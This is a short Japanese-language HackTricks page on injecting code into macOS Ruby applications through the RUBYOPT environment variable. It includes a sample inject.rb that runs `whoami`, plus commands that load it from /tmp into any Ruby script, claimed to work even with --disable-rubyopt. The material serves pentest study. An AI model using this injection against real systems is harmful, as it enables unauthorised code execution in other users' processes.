macOS Ruby Applications Injection

Support HackTricks

RUBYOPT

この環境変数を使用すると、rubyが実行されるたびに新しいパラメータ追加することが可能です。パラメータ**-eを使用して実行するrubyコードを指定することはできませんが、-Iおよび-rのパラメータを使用してライブラリの読み込みパスに新しいフォルダを追加し、その後読み込むライブラリを指定**することが可能です。

ライブラリ**inject.rb/tmp**に作成します:

inject.rb
puts `whoami`

任意の場所に次のようなRubyスクリプトを作成します:

hello.rb
puts 'Hello, World!'

次に、任意のRubyスクリプトでそれをロードします:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

面白い事実ですが、--disable-rubyopt パラメータを使用しても動作します:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
HackTricksをサポートする

Last updated